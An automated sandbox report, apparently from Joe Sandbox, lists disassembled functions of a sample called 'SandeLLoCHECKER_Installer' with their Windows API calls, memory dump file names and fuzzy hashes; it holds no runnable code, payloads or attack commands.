Opcode ID: 6e91b39d534832fd614a6e039732d4054c950b8b317de6ad3d4847c0c7687372
Instruction ID: 174cd29162ea2c24b66ece6db636d02659f22c5dd1c175842cd4fdbc8a9376f9
Opcode Fuzzy Hash: 6e91b39d534832fd614a6e039732d4054c950b8b317de6ad3d4847c0c7687372
Instruction Fuzzy Hash: F821E47560010A5BD720AF08EC06BAA77A8EB55321F100276FD08CB791DB76E862DBE1

Function 00964720 Relevance: 3.0, APIs: 2, Instructions: 41windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00963D30: LoadLibraryW.KERNEL32(ComCtl32.dll,C7BA013E,?,00000000,00000000), ref: 00963D6E
Part of subcall function 00963D30: GetProcAddress.KERNEL32(00000000,LoadIconMetric), ref: 00963D91
Part of subcall function 00963D30: FreeLibrary.KERNEL32(00000000), ref: 00963E0F

SendMessageW.USER32(?,00000080,00000001,00000000), ref: 00964764
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 0096476F

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: LibraryMessageSend$AddressFreeLoadProc
String ID:
API String ID: 3032493519-0
Opcode ID: f9a5df82e657fb8e003d2fb718f237e9a3ceea305f298408c25ba743d1c48626
Instruction ID: 1e6366a61de143b822d195b6b625bc8083cbeb010ee2c1ed109347da6ad927ba
Opcode Fuzzy Hash: f9a5df82e657fb8e003d2fb718f237e9a3ceea305f298408c25ba743d1c48626
Instruction Fuzzy Hash: A2F0653179121837F66021595C57F67B64DD781BA4F104276FE99AF2C2ECC67D0103E8

Function 00A2FF08 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

LCMapStringEx.KERNEL32(?,00A3028A,?,?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 00A2FF3C
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,00A3028A,?,?,00000000,?,00000000), ref: 00A2FF5A

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: String
String ID:
API String ID: 2568140703-0
Opcode ID: f910ed5145a1d4a724a3509f0603a96918e1b452ccdad3c069f6a87bfa3967ce
Instruction ID: 528584ae2cd9f981fba2993644334f16dbbfb25de92fbf3615ecedabbf50b879
Opcode Fuzzy Hash: f910ed5145a1d4a724a3509f0603a96918e1b452ccdad3c069f6a87bfa3967ce
Instruction Fuzzy Hash: 7AF0683610012ABFCF126F94ED05ADE3E26AB48760B058125BA2865120CA32D872AB94

Function 00949600 Relevance: 2.6, APIs: 2, Instructions: 68COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000003,00000000,00986984,000000FF,00000000,00000000,00000000,00AAC2BE,?,00986984,00AAC2BE), ref: 00949618
MultiByteToWideChar.KERNEL32(00000003,00000000,00986984,000000FF,?,-00000001,?,00986984,00AAC2BE), ref: 0094964A

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 49be2a9afdb170f6a846055442c98f7ead4e6a5f814e19af61aad81cc75530f8
Instruction ID: 3a43008ac7e68ad9958614106f4e6198e0ce678130e3d1ae4c7f2bf9fd5d6eca
Opcode Fuzzy Hash: 49be2a9afdb170f6a846055442c98f7ead4e6a5f814e19af61aad81cc75530f8
Instruction Fuzzy Hash: 0501D232301211AFE6149B8DDC89F1EB759EFD4721F21422AF715EB2D0CE606C1287A5

Function 009FBE00 Relevance: 1.7, APIs: 1, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10a4165fe97d7a423e3f9cfcbeb697dacf8a805d991e16647a1cb0cfdfa4f9d4
Instruction ID: 0cd5ee52f61da6c97eae255c65db2318a716d103bcac14a60e3e6819742228e1
Opcode Fuzzy Hash: 10a4165fe97d7a423e3f9cfcbeb697dacf8a805d991e16647a1cb0cfdfa4f9d4
Instruction Fuzzy Hash: DBA159B1900708DFDB10CFA4D584B9ABBF4FF09314F14865EE85AAB391D775AA04CB91

Function 009A5BA0 Relevance: 1.7, APIs: 1, Instructions: 169synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,C7BA013E,?,?,?), ref: 009A5BD4

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: ObjectSingleWait
String ID:
API String ID: 24740636-0
Opcode ID: ee41ba88222db79ce4d56e2226d84f8ac18c8fbe29153a2afd7a42c1fb7330ef
Instruction ID: 8ead117fda8f658fcb8b992d59f09ad413cb1d9ccc33a5c956383013ce75ee85
Opcode Fuzzy Hash: ee41ba88222db79ce4d56e2226d84f8ac18c8fbe29153a2afd7a42c1fb7330ef
Instruction Fuzzy Hash: 94514671B006169FCB14CF68C988B6EBBB5FB49710F2685A9E815AB391D731ED01CBD0

Function 00A35B4E Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(E8458D00,?,00A35D9D,00A35D91,00000000), ref: 00A35B80

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: 762f36f0e9d1606d6951bfbcd8692ce0f6cc9a26593b5dd84b9d789704f291aa
Instruction ID: 5797476250fb54841b497fb742056b59e9842af813f3081258fb72eb5ba8b311
Opcode Fuzzy Hash: 762f36f0e9d1606d6951bfbcd8692ce0f6cc9a26593b5dd84b9d789704f291aa
Instruction Fuzzy Hash: A95124719047589FDB218F3CCD84AE6BBB8EB46308F2405E9F59AC7142D234AE46DF20

Function 0098A500 Relevance: 1.6, APIs: 1, Instructions: 103COMMON

Download Yara Rule

APIs

EnumResourceLanguagesW.KERNEL32(?,00000010,00000001,0098A630,?), ref: 0098A54B

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: EnumLanguagesResource
String ID:
API String ID: 4141015960-0
Opcode ID: 257445f0ced432395ff1e25554a107f7d848cc0626d8c6e566671fbb55081b14
Instruction ID: 269bb6ca2f8d184fe74eb8a2b9ca49b278193af78a799c151cd7eeea3a11e4f7
Opcode Fuzzy Hash: 257445f0ced432395ff1e25554a107f7d848cc0626d8c6e566671fbb55081b14
Instruction Fuzzy Hash: D141907190020A9FEB10DFA4C884BDEBBF4FF44314F10062AE421A7781DBB5A945CB91

Function 009659D0 Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 00965C40: __Init_thread_footer.LIBCMT ref: 00965CB6

Part of subcall function 00A162A2: EnterCriticalSection.KERNEL32(00B2FE4C,?,?,?,0084AC86,00B30A7C,C7BA013E,?,?,00A3E40D,000000FF,?,00985F11), ref: 00A162AD
Part of subcall function 00A162A2: LeaveCriticalSection.KERNEL32(00B2FE4C,?,?,?,0084AC86,00B30A7C,C7BA013E,?,?,00A3E40D,000000FF,?,00985F11), ref: 00A162EA

__Init_thread_footer.LIBCMT ref: 00965AB0

Part of subcall function 00A16258: EnterCriticalSection.KERNEL32(00B2FE4C,?,?,0084ACF7,00B30A7C,00A9D9D0), ref: 00A16262
Part of subcall function 00A16258: LeaveCriticalSection.KERNEL32(00B2FE4C,?,0084ACF7,00B30A7C,00A9D9D0), ref: 00A16295
Part of subcall function 00A16258: RtlWakeAllConditionVariable.NTDLL ref: 00A1630C

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: CriticalSection$EnterInit_thread_footerLeave$ConditionVariableWake
String ID:
API String ID: 984842325-0
Opcode ID: 8f87bab83ac41e468eda88b6ac0120cc18be4babdd31d65b16043651bee3b239
Instruction ID: 9529da77c1e53ef62c3b7ea43b56ca758c7670010225c94ad96e08640195b2b0
Opcode Fuzzy Hash: 8f87bab83ac41e468eda88b6ac0120cc18be4babdd31d65b16043651bee3b239
Instruction Fuzzy Hash: D531DD71A04A44BBD710DF44EC82B89B7A4FB01B24F70D369E491977D0EFB668848B55

Function 0084B250 Relevance: 1.6, APIs: 1, Instructions: 74windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000402,00000000,00000000), ref: 0084B2E4

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 870464d10d12f105b9b8ff43dc878f60944ab27b089bd2be0a027fedde419263
Instruction ID: b784b3af8ec9388b45c5542a6c944498cb47cd11dac508d938b3503a254c63e4
Opcode Fuzzy Hash: 870464d10d12f105b9b8ff43dc878f60944ab27b089bd2be0a027fedde419263
Instruction Fuzzy Hash: 7F219F70A01209EFCF14CFB5C858BAEBBB4FF48714F10465DE412AB690D774AA04CB90

Function 00849F90 Relevance: 1.6, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 00A15673: EnterCriticalSection.KERNEL32(00B2FDD0,00000000,?,?,00849FC7,00000000,C7BA013E,00000000,?,00000000,?,-00000010,00A3E310,000000FF,?,0084A1A0), ref: 00A1567E
Part of subcall function 00A15673: LeaveCriticalSection.KERNEL32(00B2FDD0,?,00849FC7,00000000,C7BA013E,00000000,?,00000000,?,-00000010,00A3E310,000000FF,?,0084A1A0,00000000,00000000), ref: 00A156AA

FindResourceExW.KERNEL32(00000000,00000006,?,00000000,00000000,C7BA013E,00000000,?,00000000,?,-00000010,00A3E310,000000FF,?,0084A1A0,00000000), ref: 00849FE6

Part of subcall function 0084A050: LoadResource.KERNEL32(00000000,00000000,C7BA013E,00000001,00000000,?,00000000,00A3DC40,000000FF,?,00849FFC,?,?,0084A1A0,00000000,00000000), ref: 0084A07B
Part of subcall function 0084A050: LockResource.KERNEL32(00000000,?,00849FFC,?,?,0084A1A0,00000000,00000000,00000000,0084A308,-00000010,?,00000000), ref: 0084A086
Part of subcall function 0084A050: SizeofResource.KERNEL32(00000000,00000000,?,00849FFC,?,?,0084A1A0,00000000,00000000,00000000,0084A308,-00000010,?,00000000), ref: 0084A094

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Resource$CriticalSection$EnterFindLeaveLoadLockSizeof
String ID:
API String ID: 529824247-0
Opcode ID: 82d283a3a342513ff577491e806e3df994deaebc9f82a2177b98b4eddb8ba199
Instruction ID: 41d5eec8086f7342133d27416fb2de4f54cc7263a8d6a7763f5921cd1aa32411
Opcode Fuzzy Hash: 82d283a3a342513ff577491e806e3df994deaebc9f82a2177b98b4eddb8ba199
Instruction Fuzzy Hash: 4811EB33F446149FD7258F59AC41B7AB3E8F7487A4F04017EED05D7380EA659C0146D1

Function 0084A190 Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

Part of subcall function 00849F90: FindResourceExW.KERNEL32(00000000,00000006,?,00000000,00000000,C7BA013E,00000000,?,00000000,?,-00000010,00A3E310,000000FF,?,0084A1A0,00000000), ref: 00849FE6

FindResourceW.KERNEL32(00000000,?,00000006,00000000,00000000,00000000,0084A308,-00000010,?,00000000), ref: 0084A1B3

Part of subcall function 0084A050: LoadResource.KERNEL32(00000000,00000000,C7BA013E,00000001,00000000,?,00000000,00A3DC40,000000FF,?,00849FFC,?,?,0084A1A0,00000000,00000000), ref: 0084A07B
Part of subcall function 0084A050: LockResource.KERNEL32(00000000,?,00849FFC,?,?,0084A1A0,00000000,00000000,00000000,0084A308,-00000010,?,00000000), ref: 0084A086
Part of subcall function 0084A050: SizeofResource.KERNEL32(00000000,00000000,?,00849FFC,?,?,0084A1A0,00000000,00000000,00000000,0084A308,-00000010,?,00000000), ref: 0084A094

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Resource$Find$LoadLockSizeof
String ID:
API String ID: 3127896203-0
Opcode ID: 42c20f80b68f09c3ce7295c3fb68bb01bbc1ebfb31072506bafffb23d3d37872
Instruction ID: 0978a04dd72357cb9d0084bc0e88e2389f13f4edfe873be21784a1044fe485e1
Opcode Fuzzy Hash: 42c20f80b68f09c3ce7295c3fb68bb01bbc1ebfb31072506bafffb23d3d37872
Instruction Fuzzy Hash: 01118C723001259BAB18ABACE88497BB39DFF88310714407AF945CF245EAA6DC1197A2

Function 009A60E0 Relevance: 1.6, APIs: 1, Instructions: 61fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000,00000018,C7BA013E,00000018,?,00000000,?,?,00A7C5DD,000000FF), ref: 009A613B

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 0bb580669c3d0c54df8942fb575ed98b0f07c4411023d574c97e079d86e4726b
Instruction ID: 4ee8d6669eb090e44f909da1a4886b29711fee29ba1a0b54da30d933b2e88827
Opcode Fuzzy Hash: 0bb580669c3d0c54df8942fb575ed98b0f07c4411023d574c97e079d86e4726b
Instruction Fuzzy Hash: F5218471601208EFCB14DF64CC89F9EBBB8FB44710F144279E9159B291DB30A505CBA4

Function 0084A960 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11c142047ab060c9490a520071031c489c429135b1207b5a8fbdd313a172f755
Instruction ID: 33af2291f49ffc0508551cbc18d4dda96ef6c7f294a97a145323dea2fded23f3
Opcode Fuzzy Hash: 11c142047ab060c9490a520071031c489c429135b1207b5a8fbdd313a172f755
Instruction Fuzzy Hash: 2A014C72A48648EFC714CF54E841F2ABBB9FB59B10F10866EFC15CB750DB36A8108B54

Function 00965C40 Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

Part of subcall function 00A162A2: EnterCriticalSection.KERNEL32(00B2FE4C,?,?,?,0084AC86,00B30A7C,C7BA013E,?,?,00A3E40D,000000FF,?,00985F11), ref: 00A162AD
Part of subcall function 00A162A2: LeaveCriticalSection.KERNEL32(00B2FE4C,?,?,?,0084AC86,00B30A7C,C7BA013E,?,?,00A3E40D,000000FF,?,00985F11), ref: 00A162EA

__Init_thread_footer.LIBCMT ref: 00965CB6

Part of subcall function 00A16258: EnterCriticalSection.KERNEL32(00B2FE4C,?,?,0084ACF7,00B30A7C,00A9D9D0), ref: 00A16262
Part of subcall function 00A16258: LeaveCriticalSection.KERNEL32(00B2FE4C,?,0084ACF7,00B30A7C,00A9D9D0), ref: 00A16295
Part of subcall function 00A16258: RtlWakeAllConditionVariable.NTDLL ref: 00A1630C

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID:
API String ID: 2296764815-0
Opcode ID: 2fa8a69680b0f6690d76fa4f48f01874368d92060f1949f7f55219b34b32d9ec
Instruction ID: f3bdf72ce112dfc2a84af4c56c3392f50c8c4ccdd13e8cf0eb0ed030390d0915
Opcode Fuzzy Hash: 2fa8a69680b0f6690d76fa4f48f01874368d92060f1949f7f55219b34b32d9ec
Instruction Fuzzy Hash: 0201A271A44A44EBD720DB58DD43B49B3E4E705B20F2087A9E825D77D0EB7869008A41

Function 0084A8A0 Relevance: 1.5, APIs: 1, Instructions: 34memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A17B2A: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,?,?,8000000B,C7BA013E), ref: 00A17B8A

RtlAllocateHeap.NTDLL(?,00000000,?,C7BA013E,00000000,00A3DE90,000000FF,?,?,00B277EC,?,009A5D66,8000000B,C7BA013E), ref: 0084A8EA

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: AllocateExceptionHeapRaise
String ID:
API String ID: 3789339297-0
Opcode ID: b5742986d7181bbf6e9f63d6b47348e380566066bb7b9769cf25db4edd86d084
Instruction ID: d26c4d30b66075382838d980ff4f1be6e75a8f3d1c88610522852e2bd189979a
Opcode Fuzzy Hash: b5742986d7181bbf6e9f63d6b47348e380566066bb7b9769cf25db4edd86d084
Instruction Fuzzy Hash: 30F08235A48248FFC705CF54DC05F5ABBA8F708B14F104569F819C66A0DB35A9118A45

Function 00A2E1F7 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00A35D4E,?,?,00A35D4E,00000220,?,?,?), ref: 00A2E229

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
